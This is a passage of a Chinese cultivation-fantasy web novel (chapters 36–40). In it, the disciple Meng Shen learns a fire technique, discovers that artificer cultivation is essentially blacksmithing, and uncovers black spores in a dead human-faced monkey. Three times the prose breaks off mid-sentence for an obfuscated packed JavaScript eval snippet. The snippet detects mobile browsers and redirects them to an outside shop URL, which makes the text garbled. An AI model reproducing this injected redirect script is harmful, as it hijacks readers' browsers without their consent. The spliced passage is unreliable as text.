她在这老人身上感受不到任何气息,宛如碰到了一团空气,显然是位境界深不可测的高人。连这种高人都得在这里守山门,沧溟派可真是奢侈啊。 “你叫什么?”老人颇有兴致地问。 “孟莘。” “哪两个字?” 孟莘一时梗住,她这名字来自蛮荒星,真没什么特殊含义,但为了在高人面前装一装,她把当时说给祝雁灵的说辞搬了出来。 “''我本渔樵孟诸野,一生自是悠悠者''的那个孟,莘莘学子的那个莘。” “……嗯,”这再普通不过的两字硬是被她解释出了点含义,老人勉强赞道:“名字不错。” “那我该怎么称呼您?”她试探着问。 老人并未答话,自顾自乐呵道:“不过你不去剑峰,而来我们第十峰,眼光比名字更不错。我早就劝过别人,剑峰人情复杂,不适合心思纯净的人去。” 孟莘再怎么厚脸皮,也不好意思把心思纯净四个字安在自己身上,猜到他说的应该是别人,“以前有个心思纯净的人,不听您的劝阻,去了剑峰,但结果不太好?” 她觉得这猜测很合理,看看祝雁灵这倒霉大师姐就知道了。 老人忽然不说话了,他怔怔地看着前方,像是陷入了什么幻境,酒葫芦从他手里跌落,顺着台阶滚了下去。 “哎,您的葫芦!” 孟莘连忙去拦,抓住时,却发现葫芦出乎意料得轻,里面一滴酒水也没有。 她愣了一下,再抬头望去,发现台阶上只剩她一个人,老人已经不见踪影。 “这……”孟莘抓着葫芦,独自在风中凌乱,“下次打壶酒再还给他好了。” 37. 第 37 章 第十峰弟子们的住处有个别致的名字,叫洗尘轩,还是单人间,孟莘照旧挑了间偏僻的住下。 背靠山林、窗外见月、远离同门,很合她的意。 “洗尘轩九十七号,至少要在这里住三年啊。” 孟莘少不得收拾了一下这个长期住处,预备给久不见人气的屋子通通风。 “咳,”她刚一推开窗子,便觉一抹白色从屋外闪过,“什么东西?” 她立刻抓住窗棂,探身仔细望去,却什么也没看见,精神力放出去,同样一无所获。 那一下实在太快,快得像她的幻觉似的,但大小又不太像人。 “是错觉吗?”她轻声喃喃,末了又摇摇头。 她相信自己的眼睛,但是如果她的精神力也捕捉不到的话,只能证明那东西比她强太多了,她惦记也没什么用。 她关上窗,安详地躺回去睡觉,倒也不怎么担心。坐拥无数高人的沧溟山,天塌了也轮不到她这种小虾米顶着。 一夜无梦。 卯时,朝日还未爬起,孟莘就起了个大早,洗漱完,便前去拜见韩晓蝶。 之所以要起这么早,是因为她住的洗尘轩在山腰,韩晓蝶所住的听雪居则在山巅。 一大早就得爬山,孟莘再次感到御剑飞行这种技能的强大。 好不容易爬到山顶,天边已经升起了半块太阳,听雪居的全貌落入孟莘眼中,她略感意外,顶级修士们都如此……修身养性吗? 这听雪居从外面看去,朴实得像一座僧院,孟莘敲了敲木门,听到韩晓蝶喊她进去,这才推门而入。 听雪居里面更是简朴,除粉墙黛瓦以外,不见什么多余的装饰,院中一棵古松下摆着一张棋台,韩晓蝶和一个青年正坐在两边对弈。 “来了?”看孟莘走近,韩晓蝶抬头,一指弹出一道光幕,不咸不淡地说:“这是我第十峰核心功法《百炼经》的第一式,在我这局棋下完前,你若是能学会,我便传你后面的功法,否则以后在第十峰,你就自行领悟吧。” 光幕落在孟莘眼前,随即燃成灰烬。 孟莘:“???” 意思是她学不会,师傅就不要她了?这比当时的邵鸿轩还离谱吧? “师傅,你是在同我开玩笑?”孟莘试探着问。 韩晓蝶并不理睬,只捻着一枚黑子,专注地盯着棋盘。 孟莘有点无奈,这是上来就给她一个下马威?她昨天怎么没看出韩晓蝶是这么个性格? 虽然觉得韩晓蝶态度变化得有些诡异,不过人在屋檐下不得不低头,她行了个礼,乖巧道:“是,师傅。” 她瞥了一眼棋盘,这局棋刚开始下,不知道韩晓蝶和那个青年棋艺如何,反正她学会得越快越好。 孟莘走到另一边找了个位置坐下,沉入识海,开始读《百炼经》。 如果说她在外门学的《无相吟》是教她如何吸纳灵气,那《百炼经》就是教她如何使用灵力。 这第一式舞炎步,便是将灵气中的火元素引导出来,游走经脉,使得火之灵力附着于身体和武器,威力强大。 如果杀范济那一夜她就会舞炎步,就不用提前准备火符了,抬手间便能燃起火焰。 孟莘这下当真感受到了沧溟派身为名门的底蕴,不过是进入内门第一天,便能学到这样厉害的功法,可见《百炼经》后面的部分,一定更加强大。 她不再耽搁,当即开始按照舞炎步运转灵力。 半刻钟后。 “呼、呼、呼——” 孟莘第五次灵力外溢点着了自己的衣服,一边疯狂吹气,一边把衣袖拍在地上灭火。 这舞炎步可比当时的《无相吟》难学多了,她莽撞地提炼火灵力,一个不小心,灵力就会从经脉外溢,失去控制,灼烧到自己。 短短半刻钟功夫,她这身衣服就已经烧破了五个小洞,皮肤上也落下了好几块烧伤,形容狼狈。 好在她已是筑基期修士之躯,这些伤虽然疼,但是对身体算不上什么损害,因此她毫不犹豫地重新沉入识海。 她孟大首席就不信了,这世上会有她学不会的东西。 * 棋桌边的那位青年,偶尔会忍不住把目光落在孟莘身上,尤其是看到她三番四覆地点着自己时,眉头不由自主地皱起。 棋盘上传来一声清脆的落子声,韩晓蝶淡淡提醒他,“鸿畅,你再不专心,这盘棋就要输了。” 陈鸿畅立刻盯住棋盘,苦思片刻,方才解了困局。 “师傅,我还是头一次见你这么为难一个新弟子,”他探究地看着韩晓蝶的表情,“在毫无点拨的情况下,一局棋的时间学舞炎步,这恐怕没几个人能做到吧。” 自家师傅向来好脾气,对天资再差的弟子都一视同仁,如此明显地显露不悦、刻意刁难,实在不像师傅的作风。 韩晓蝶的下颌线绷得紧紧的,目光没有向孟莘那边偏移一寸,开口时与其说是解释,不如说是抒发胸中激荡的情绪。 “昨日晚间遇到二师兄,从他那里听到了一些事,如果我早些知道,绝不会收她为徒……但既然拜师礼已成,我便给她一个机会。如果她当真能在一局棋内学会舞炎步,那便是和我第十峰有缘,我可以既往不咎,如果不能,那便当我们师徒缘分已尽吧。” “那师傅更期待哪一种呢?” 韩晓蝶并未作答,而是说:“她只有识海四星,并非天赋异禀之人。” 陈鸿畅的目光又落在孟莘身上。 这个新来的小师妹再次烧到了自己,她的脸因为疼而皱在了一起,眉间一点醒目的红痣仿佛一滴明晃晃的血似的,看着都让人觉得疼。 但把火扑灭以后,小师妹就立刻重新开始运转舞炎步,一刻也没有犹豫,一次也没有过来恳求师傅换个条件。 陈鸿畅也是从这一步过来的,当然知道学舞炎步的艰难,也记得火灵力灼烧到皮肤时的疼痛,因此明白师傅给的这个机会有多渺茫。 但小师妹好像觉得这种莫名其妙的条件理所当然,她唯一需要做的,只是抓紧时间通过师傅的考验而已。 陈鸿畅轻轻叹息。罢了,他这个大师兄,也努力一把,把这一局棋拖得再久一些。 一个时辰后,陈鸿畅颓败地垂下手,“弟子输了。” 他尽力拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115430|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,最后还是被韩晓蝶杀了个片甲不留。 “你今日的棋艺比之前长进了许多,倒确实有点做大师兄的样子了,”韩晓蝶站起身,目光扫过正好把自己烧到的孟莘,“只是她还是辜负你的期望了。” 陈鸿畅不忍直视地别过眼,小师妹连头发都烧着了,烧得是真惨啊。 “孟莘,你我今日师徒缘尽,日后你是想去其他峰或者别的去处,都由你自己决定,”韩晓蝶扔给她一件衣服,径自往自己的房间走去。 孟莘赶忙扑灭了火,把韩晓蝶扔过来的衣服披上,快步过去拦住了韩晓蝶,“师傅,你都没有看我给你做一遍,就断定我没有学会?” 韩晓蝶的目光扫过她灰头土脸的面容和满是烧伤的小臂,意味很明显,不然呢? 孟莘盯住她的眼睛,“我上一遍没有做好,却不代表我这一遍做不好。” 她清楚地感觉自己最后领悟到了关键,但是他们突然结束对弈,她一惊之下,又让火灵力溢了出来。 韩晓蝶嗤笑一声,这家伙把他们的《百炼经》当什么了,凭运气就可以做到的吗? 她干脆撩起衣袍,在房门前的台阶上坐下,支起下巴,“行啊,那我就再看一遍。” 小师妹真的很执着,但越是执着,陈鸿畅越是不忍心看下去,那条血淋淋的胳膊太惨了真的。 孟莘抬手理了理烧了一半的凌乱头发,系紧衣服,深吸一口气,郑重地看着韩晓蝶,“师傅,这就是弟子的舞炎步,请您过目。” 她伸出右臂,灵力自识海涌起,舞炎步开始。 她转动身体的时候,疼痛还是会不由自主地渗进身体深处,她以前其实真的是个挺讨厌疼痛的人,但大概从秋霜林那晚开始,她已经学会接受疼痛了。 而她现在不止要接受,还要忘却。 她到现在还未完整地舞出过一次舞炎步,方才悟出的那道关键又是否只是她走进了一个新的陷阱,全都是未知数,但是她不得不舞,还必须是她迄今为止舞得最好的一次。 既然秋霜林那晚她曾与死亡共舞,如今区区一支带火的舞,她不信她驯服不了。 她的精神力完全沉进身体,再也注意不到外物,以全副身心带动着灵力走过体内那精密无比的脉络。 韩晓蝶原本半支着下巴,但渐渐地,她的身体坐直了起来。 陈鸿畅不忍的目光也变得越来越凝重。 只见那个带着半身血迹的少女在树下尽情舞动着身体,她的动作当然不如修炼多年的韩晓蝶和陈鸿畅精准,但她踩在地上的每一步都好像跨过了悬崖,她挥动的每一次手臂都仿佛砍断了荆棘。 她舞得充满愤怒。 那愤怒不是对着韩晓蝶和陈鸿畅,而是对着他们并不知晓的过去和未来。 无乐却自带铿锵铮鸣。 火灵力随着她的每一个动作运转,在最后一个动作结束时,扑簌的火焰从上空落下,却如雪一般轻轻融化在她头顶。 她的火终于伤害不到她自己了。 孟莘缓缓睁开眼睛,稳住了急促的呼吸,看向对面的女人:“师傅,现在,你觉得我够资格做你的弟子了吗?” 38. 第 38 章 被火焰点燃的松针化为灰烬落在韩晓蝶手心,她不禁有点恍惚,想不起自己当年学舞炎步时花了多久,但总归不是一个多时辰能学会的。 识海四星、一个时辰,之前说给这个弟子一个机会,不过是周全昨日的拜师礼,但现在看来,她和第十峰,倒真的是有几分缘分了。 韩晓蝶复杂的目光落在对面的少女的身上,轻轻叹了口气,随即伸手一点,三道光幕朝孟莘飞去。 “这是《百炼经》第二式化骨炎熔、第三式三玄冰清、第四式度厄真雷,等你什么时候学会了这些,我再传你后面的部分。” 经法烙印在孟莘眼中以后飞快消失,但已经留在了她的识海中。 这……一出手就直接把前四式都传给她了?孟莘为韩晓蝶的大方大感震惊,立刻兴奋地答应道:“是,师傅!” 陈鸿畅扶着额,小师妹是没发现,师傅这是把从旁指点的责任完全撇开了吗?她打算以后都纯靠自学的吗? 孟莘确实是没注意。 她不算太长的人生里,大多数时间都是靠自己摸索过来的,韩晓蝶愿不愿意指点无所谓,只要内门的核心功法让她看,她废这么大功夫进内门就没有白费。 韩晓蝶被孟莘这副甘之如饴的模样梗住,烦心地摆摆手,“好了,下去吧,我这边没有什么晨昏定省的规矩,没有重要的事不要来听雪居。至于其他的,这是我们第十峰的大弟子陈鸿畅,有事你找他就好。” 孟莘飞快打量一下这个被拉出来的青年,他看上去二十多岁,和祝雁灵差不多年纪,体格高大健壮,但其貌不扬气势不显,反而有几分质朴气息,就莫名挺有器修气质的。 她赶忙打住这个念头,感觉自己在把器修等同于铁匠的路上越走越远。 “大师兄好,”她同陈鸿畅见礼。 “小师妹好,”陈鸿畅回了一礼,转头又对韩晓蝶行礼,“师傅,徒儿们告退。” “去吧,”韩晓蝶拍拍衣服,准备回房,又想起什么,一样东西从袖中射向孟莘方向。 孟莘接住一看,是一枚黑色的药丸。 “玄级疗伤丹,你吃了以后,身上的伤明天就会好了。”陈鸿畅低声解释。 孟莘有点意外,刚一抬头,韩晓蝶已经啪一下关上了屋门。 孟莘:“……” 连句谢谢也不想听的吗? “走吧,师傅不喜欢繁文缛节,”陈鸿畅无奈笑笑,领着孟莘出了听雪居,一路向山下走去。 一般这时候新弟子们总是缠着他问这问那,但这个小师妹实在太沉默了,他只好主动开口,“小师妹,你是做了什么事得罪了师傅吗?” 孟莘认真地想了想,昨天议事厅拜师时,韩晓蝶对她还很正常,说明她本人的所有表现都不是触怒韩晓蝶的因素,只能是在那之后韩晓蝶听说了什么。 估计又是因为梁峰清吧,梁峰清就好像她身上自带的一个仇恨标签,走到哪里就把仇恨带到哪里,习惯就好。 “我不知道啊,师兄知道吗?”孟莘用真诚的目光望回去。 “那我更不知道了,”陈鸿畅干脆不再多想,“不过师傅其实人很好,就算她因为什么事情不喜欢你,却也不会因此给你穿小鞋,你大可放心。也许她对你是有什么误会,以后解开就好了。” “嗯,我知道。”孟莘能从韩晓蝶那里得到《百炼经》的经法,就知道韩晓蝶算得上公允,更别说还给了疗伤丹。 在所有因梁峰清而不喜欢她的人里,韩晓蝶对她已经算很不错了。 “前面就是我们第十峰的炼器楼,第十峰弟子并不算多,所以每个人都能分到一间自己的炼器室,”陈鸿畅指向前方。 孟莘看过去,那是一栋高耸的黑色大楼,呈环形矗立,材质非常特殊,他们在外面时感觉不到丝毫异常,但一进里面,炼器室内传出的滚烫热度扑面而来。 陈鸿畅:“你在洗尘轩的房间是多少号?” “九十七号。” 陈鸿畅从门口的架子上翻出了一把钥匙,带着她上了九楼,“那九十七号炼器室就给你吧。” 孟莘对数字没什么偏好,无所谓地点点头。 她跟着陈鸿畅走进炼器室,这间屋子比她预想得要大,有一里长宽。里面从熔炉到打铁台、从大锤到刻刀,工具应有尽有。 问题是这未免有点太全面了。 孟莘陡然升起一阵不妙的预感,僵硬地看向陈鸿畅,“师兄,我们器修,不会什么都自己来吧?” 陈鸿畅微微一笑,用襻膊绑住衣袖,露出自己有力的小臂,“小师妹,作为大师兄,我这就为你演示,我们器修,究竟是如何炼器的。” 他说着便拎起打铁台上的锤子,气沉丹田,随即汹涌的火灵力从他臂膀涌出,附上大锤。 陈鸿畅往前跨出一步,大锤随即砸向打铁台上面的矿石,火之灵力将矿石逐渐重塑。他神情严肃,每一个动作都孔武有力,虽然其貌不扬却充满了力量美。 然而孟莘越看人越麻,因为……陈鸿畅的每一个动作,怎么都这么眼熟呢? 一刻钟后,矿石被陈鸿畅锤炼为一把粗剑胚,陈鸿畅擦干额头上的汗珠,望向他的新师妹。 整个炼器室因他灵力的翻涌而热浪蒸腾,但师妹的脸却奇异地苍白,梦游似的问:“师兄,你刚才的动作不会是?” 她没有说完,但是陈鸿畅懂,他太懂了,每一个刚刚走进炼器室的弟子都要经历这样一场幻灭。 他用充满同情目光地看着孟莘:“小师妹,你猜得不错,我刚才的动作就是舞炎步,这舞炎步原本就是一位铁匠在打铁时所悟,后来便成了我们器修的第一门功课——打磨材料。” 孟莘感觉自己那颗对高阶功法的敬仰之心啪一声就碎了。 她就说,她学的时候怎么觉得这门功法如此刚毅有力,她还以为这是为了激起修士的战斗意志,原来……是为了打铁吗? 她感觉十分不妙:“那第二式化骨炎熔?” “用凝练的火灵力把各种材料融化提纯。” “第三式三玄冰清?” “用冰之灵力将打好的器物冷却定形。” “第四式度厄真雷?” “用雷之灵力为器物雕磨开刃。” 炼器室陷入了死一般的寂静。 孟莘面无表情地看着陈鸿畅,“师兄,我们器修其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129100|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是铁匠吧。” 陈鸿畅唏嘘道:“对器修来说,这是个有关人生的终极问题,足以和我是谁我在哪里相媲美,每个人都有自己的答案。” 孟莘和陈鸿畅面面相觑,“那师兄的答案是?” 陈鸿畅长叹一声,“没错,我们就是铁匠。” 这一瞬间,孟莘脑子里突然出现了走马灯,从她在蛮荒星辛辛苦苦翻找各种垃圾拼凑机甲,到她在首都星的研究室挥笔画就图纸便有机械为她把机甲锻造完成,她调整修改、铭刻铭文,便能赋予机甲完整的灵魂。 孟莘笑了,那种突然看破红尘、发现奋斗多年归来还在原地的微笑。 “小师妹,节哀。”陈鸿畅象征性安慰了一下她那颗死去的心。 反正大家都得这么死一遭,早死晚死都得死,最后还不是得爬起来继续苦哈哈打铁。 孟莘揉了把脸,认命了,“好吧,师兄,那这里的材料我都可以随便用,不用给宗门交灵石?” 陈鸿畅对小师妹振作起来的速度很欣慰,“都可以随便用,这点钱宗门还是出得起的,铁矿石如果你用完了可以去楼下领,无限度、免费。” 孟莘走过去掂了一下陈鸿畅刚打出的剑胚,比外门时邵鸿轩发给他们的剑轻了很多,懂了:“这种铁矿石打的武器没什么用吧?” “不错,只有凡人剑客用这种武器,毕竟免费的材料,就是给大家用来练手的,攻击性太低了。现在大家一致把材料分为天玄地黄四等,外门配发的那种剑,就是用黄阶的玄铁石铸造的。” “我要去哪学这些东西?” 陈鸿畅很高兴小师妹有这种学习热情,“主峰的藏书楼里什么书都有,凭借内门令牌,藏书楼的大部分地方你都可以进,想学什么就去那里看看。” 孟莘点点头,看来她终于有机会恶补她不了解的修真界常识了。 但还有一个完全无法忽视的问题,她真诚地、求知若渴地盯着陈鸿畅:“师兄,那大家炼器的材料都是从哪来的呢?” 这是个犀利的问题,犀利到哪怕是第十峰大弟子,都情不自禁目光往上飘,脸上有几分赧然。 “小师妹啊,你要知道,我们器修还有另一个人生问题,那就是——材料是很昂贵的,你只有成为强大的器修,才有人愿意买你做的武器,你才能有钱去买材料;但你要想成为强大的器修,就必须先买很多昂贵的材料……” “所以,”陈鸿畅郑重地把大锤放到孟莘手里,“小师妹,拿好这把玄铁锤,去魔兽森林杀魔兽吧,魔晶换成贡献点,这样,你就可以去兑换材料了。” 没想到自己刚从魔兽森林出来,转头又得进去了,孟莘麻木地接过了玄铁锤,“没有别的办法了吗?” “兑换处有时候会有同门发的委托,可以碰碰运气,不过筑基期能接的委托很少,而且不够稳定,这么多年来,凭我的经验,魔兽森林是我们器修最好的出路。” “……好吧,”孟莘接受了现实。 “需要注意的就这些了,还有别的问题吗,小师妹?” “嗯,还有一个问题,”孟莘垂下眼睑,平静地问道:“三峰主在哪里闭关,大师兄知道吗?” 39. 第 39 章 “嗯?三峰主?你问这个干嘛?”陈鸿畅很敏感地追问。 “我从入门以来就听说三峰主闭关了十几年,所以很好奇,”孟莘解释道。至于她和梁峰清的恩怨,陈鸿畅以后也许能从别人那里听到,但她没必要主动说。 “好吧,倒也不是什么秘密,”陈鸿畅走到窗子跟前,给她指着主峰和魔兽森林中间的一片山涧,“看到那儿了没有?那是沧溟派的禁地,灵气最充裕的地方,只有峰主有资格去那里闭关修炼。” “禁地?” “对,闭关是何等重要的事情,被人打搅轻则中断修炼,重则走火入魔,所以那里有封印结界,只有掌门和各峰主能进。” 孟莘皱了下眉头,既然是这么重要的地方,那这个封印一定相当精密,恐怕不是凭她能解开的,“除了掌门和各峰主,其他人都进不了?” “那倒还是有一个例外的,”陈鸿畅凝视着禁地方向,眼眸里是浓重的不甘和渴望,“我们沧溟派每五年会为弟子举办一次宗门大比,宗门大比的魁首,就可以进入禁地修行一个月。” 孟莘注意到陈鸿畅的眼神,轻声问:“师兄没能赢吗?” 陈鸿畅无可奈何地伸手盖住眼睛:“赢不了啊,我不过是元婴修为,三个月前的宗门大比上,被第一峰的祝师姐打得毫无还手之力,她那时也是元婴境,但是等她从禁地闭关出来时,就已经是玄明境了,她天资卓绝,五年后,焉知她不会突破化神?” 陈鸿畅的语气颓败,显然是明白,他和祝雁灵同一等级时就赢不了,现在祝雁灵已甩掉他一个大境界,就更是遥不可及了。 “祝雁灵、玄明境……”孟莘垂下眼眸,轻不可闻地喃喃。 陈鸿畅没有听清,更没有在意。祝雁灵是他们这一辈弟子前面跨不过去的大山,只要有祝雁灵在一天,他不觉得有谁能越过她赢下宗门大比。 “祝师姐修为突破,出关以后,越发被宗门看重,现在已经是我们沧溟派无可争辩的首席大弟子了,不出意外的话,等掌门退位时,也会由她接管沧溟。”陈鸿畅收回视线,苦中作乐地劝导自己,“不过也无所谓,没有祝师姐也会是别人,总不会是我。” 气氛沉重起来。 孟莘试着开玩笑缓解:“怎么,师兄对我们器修这么没信心的吗?” 陈鸿畅摇了摇头,“我没有信心的不是器修,而是天赋的鸿沟……你别看现在祝师姐独占鳌头,但论天赋,其实还有人在她之上。” “嗯?”孟莘记得之前听人说过,祝雁灵是六星识海,在这之上的,只能是七星了吧,她顿时来了兴趣,“是谁啊?” 陈鸿畅:“不知道你有没有见过,是第七峰的大弟子,严谷岚。” 孟莘蓦然睁大了眼,“严师姐?” 她昨天见到严谷岚时,可完全没发觉她身上有一丝一毫天才的模样。 “看来你也见过她了,”陈鸿畅颇有些恨铁不成钢,“严师妹真的是守着金山要饭吃,当年她一入门,掌门就亲自来邀她进第一峰,但她不去,而是剑走偏锋去了第七峰。入门这么些年了,修行也三天打鱼两天晒网,纯靠天赋修到了元婴境。” 说到这里,陈鸿畅感觉自己又被扎心了,他刻苦修炼多年好不容易到的元婴境,严谷岚随便修修就够到了,说到底惨还是他惨…… “小师妹,要是没什么事,我就先走了,这是我的讯点,有事给我传音,”陈鸿畅悲伤地捂着自己千疮百孔的心走了。 明明他只是来带新弟子的,最后说着说着,就只剩下一身疲惫,他得回去静静。 送别大师兄后,孟莘捋了一下她需要做的事情。 如果梁峰清依旧不出关,那五年后的宗门大比就是她唯一能接触到梁峰清的机会。那时的祝雁灵有很大可能已经到了化神境,也就是,她需要在五年内,连跨通会、金丹、元婴、玄明,修炼到化神? 虽然昨天在山下,她还跟彭笑寒许子墨说起化神境,但转头这个时限就被拉近到了五年之内…… 孟莘扶住额头,自己都觉得这难度有点太夸张了。但是,总不能为了这么个梁峰清,花整整十年吧? 她叹了口气,还是先立足当下吧。 识海第五颗星的封印她现在完全碰不了,起码得等通会期才能有办法。而要提升她现在的境界,《无相吟》和《百炼经》缺一不可,她需要钱购买材料,从李岩那里赎回张之雁也需要钱。 魔兽森林,不得不去看看了。 索性炼器室内有水源,不用她赶回洗尘轩。她清洗了一下自己,身上的伤虽然还是很可怖,但是在疗伤丹的作用下已经不怎么疼了。 剪去末梢被烧焦的头发,换了身干净衣服,她便提上玄铁锤赶往魔兽森林了。 别说,她真得感谢邵鸿轩在外门对她严苛的训练,不然这玄铁锤她真提不动。 * “是谁干的!我好好的人面猴怎么成这样了!” 孟莘才一走近魔兽森林跟前的兑换处,便听到了一个熟悉的暴怒声从里面传出。 孟莘挑了下眉,推开院门,只见严谷岚站在院中,对面几个弟子腰间挂着剑峰的令牌,石化般僵立着,不知所措的模样。 而严谷岚怀里抱着一团东西,长长的银丝从她臂膀边垂下,她的脸皱成一团,看起来又怒又急,像是要把自己气哭了。 没想到严谷岚还能激动这样,孟莘有点意外,犹豫了一下才慢慢走近,“严师姐?” 严谷岚侧过头,一见熟悉的人,立刻绷不住了,哇地一声:“孟师妹!我的人面猴死了!” 孟莘低头看去,险些眼前一黑。 只见严谷岚抱在怀里的,是一只浑身鲜血淋漓的猴子,胸口明晃晃几个窟窿,看着是剑伤,可猴子偏偏长着一张老人脸,长长的白发垂到了地上。 纵然孟莘那三天在魔兽森林看过了不少奇形怪状的魔兽,这会儿还是被人面猴吓了一跳,主要是太像人了,实在受不了。 但看严谷岚分为珍惜的模样,她小心地没敢点评这只猴子的外表,“严师姐,这是出什么事了?” “他们!”严谷岚怒视对面的剑锋弟子,“罔顾我的三申五令,把我好不容易培育出的人面猴杀了!” 这么一口大锅扔下来,领头的那个剑锋弟子连忙解释,“严师姐,话可不能那么说啊,我们几个人都是通会期修为,一直在通会期的区域里狩猎,这只人面猴是金丹期的,我们当时只觉得突然有杀气从身后袭来,拔剑自卫,谁承想一回头就看到它死了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137351|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也怪不到我们吧?” 严谷岚冷笑,这是怪她的金丹期人面猴修为太低打不过几个通会期弟子? “魔兽森林每个境界都用阵法隔开,它金丹期的人面猴怎么跑到通会期去的?分明是你们违反规定刻意捕猎!” 魔兽森林除了内门考核区域,其他地方都没有千里镜。两边都找不出证据,各持己见吵了起来。 孟莘听了一阵,大概搞懂了。 魔兽森林里的魔兽都是由第七峰培育,其他峰的弟子也可以进去狩猎,既能供弟子们取魔晶和材料赚钱,也能促进人为培育的魔兽们生出血性,是一件互惠互利的事情。 但魔兽又不像雨天里的竹子一样生生不息,所以狩猎也是有规矩的。筑基期修士只能去筑基期区域、通会期修士只能去通会期区域,还有一些魔兽不能杀,例如幼崽、明显看出怀胎的魔兽、兽王、第七峰明令禁止斩杀的魔兽。 人面猴就是第七峰明令禁止斩杀的魔兽,还是金丹期,按理说是不可能碰上通会期修士的。 两边都吵红了眼,孟莘听得头疼,这事委实和她没什么关系,但是她挺喜欢严谷岚的,所以还是插嘴道:“严师姐,要么你把人面猴放下来,让我看看?” 严谷岚吸了下鼻子,轻柔地把人面猴放在地上,十分不忍地别过了脸,“你看吧。” 孟莘蹲下身,仔细翻看起人面猴来。她没学过医也没学过验尸,但为了研究武器在战场上的应用,尸体她确实没少看,对伤痕还是能看出个七七八八的。 仔细翻看了外表以后,她神情越来越凝重,强忍着恶心,把手指伸进了人面猴的伤口里。 这画面实在太瘆人了,几个剑锋弟子也情不自禁地别开了眼。 片刻后,孟莘看着自己从人面猴身体里拿出的东西,不由地陷入深思。 “严师姐,我觉得这只人面猴,恐怕不是因为剑伤死的。” 严谷岚蓦然转过头来,“你说什么?” 孟莘冷静地说:“这些伤虽然当胸贯穿,但其实没有伤到要害部位,不至于像这几位师兄说的那样,一回头就看到已经死了,那就死得有点太快了。” 严谷岚锐利的目光扫向对面:“你们刚才说的是不是真的?” 为首的弟子如逢救星,立刻发誓:“我以我的修士生涯起誓,绝对是真的!” 严谷岚迷茫了,“那它是怎么死的?” 孟莘伸出手,把手心上的东西给他们看,“实际上我从它伤口里面,翻到了这样东西。严师姐,人面猴的身体里是有这种东西的吗?” 几人都垂眸看去,只见她手掌之上,摊开着一块混着血迹的黑色絮状物。 “这是……长大的孢子?”剑锋弟子想了半天,只想到这个答案,但孢子是黑色的吗? 严谷岚的神色已经严肃起来,蹲下身,从腰间掏出一把短刀,面不改色地将人面猴从伤口剖开。 只见人面猴的身体深处,以心脏为中心,黑色絮状物密密麻麻地和血肉结合在了一起,看上去十分骇人,但距离表皮又还有一段距离,因此几个人方才都没有察觉到异常。 “莫非,”孟莘从严谷岚的神情,看出这情况绝不正常,猜测道:“人面猴被什么东西寄生了?” 40. 人面猴(二) 寄生魔兽? 大家都头一次听到这种说法,面面相觑。 严谷岚抬头看那几名弟子,“你们是在通会期区域碰到这只人面猴的?” 剑峰弟子连连点头,“是啊严师姐,我们也吓了一跳呢,按理说通会期区域不会有人面猴才对。” 在亲眼看到人面猴身体里的古怪孢子以后,严谷岚开始相信,这几人说的也许是真话了。 但那就意味着更糟糕的情况,魔兽竟然自行越过阵法去了其他区域。 她垂眸沉思片刻,旋即道:“把你们的讯点给我,之后若查明果真是人面猴出了问题,我会为今日的误会登门赔罪。” 剑锋弟子立刻:“那、那就不用了吧严师姐?” 严谷岚横眉过去:“你觉得我是那种仗势欺人的家伙?” “怎么会呢师姐,”剑锋弟子讷讷地把讯点给她看,然后利索地溜了。 院子里只剩下严谷岚和孟莘,那副严肃正经的表情立刻从严谷岚脸上褪去,她揉了揉脸,悲叹,“师傅出门云个游的功夫,怎么出了这么多事啊,再来点我这个区区元婴期真的要扛不住了。” 孟莘憋住笑,正经问她:“人面猴的问题很大吗?” 严谷岚点点头,“不错,先不说这些孢子是什么东西,就人面猴跑到其他区域这件事,要是真的,恐怕这能捅破天。要知道魔兽森林的区域阵法都是请第九峰的梁英峰主带领弟子设好的,修士都不可能轻易打破,更别说魔兽,魔兽哪有那个灵智?” 孟莘懂了。 峰主都是化神期大能,要是这种高人设下的阵法在无人察觉的情况下被破,要么是他们第七峰养出了自己都控制不了的魔兽,要么是有修为高深的人暗中作祟,无论是哪个,对沧溟派来说都是大事。 这种等级的麻烦孟莘自觉和自己无关,但她还是关心了一下严谷岚,“严师姐,那现在你要怎么办?” “我去调查一下其他区域,看是不是真有人面猴在里面,这个品种才培育出没多久,明明只放在了金丹和元婴区域的,”严谷岚烦躁地抓了抓头发,“对了师妹,忘了问你,你来这里干嘛?” “来猎取魔晶,我需要钱。”孟莘苦笑了一下。 严谷岚的目光落在孟莘腰间挂着的第十峰腰牌上,眼神顿时有点微妙,“师妹你选了器修啊,那确实,有点缺钱。” “那师姐你去忙吧,我先去里面瞧瞧。”孟莘指着兑换处的屋子。 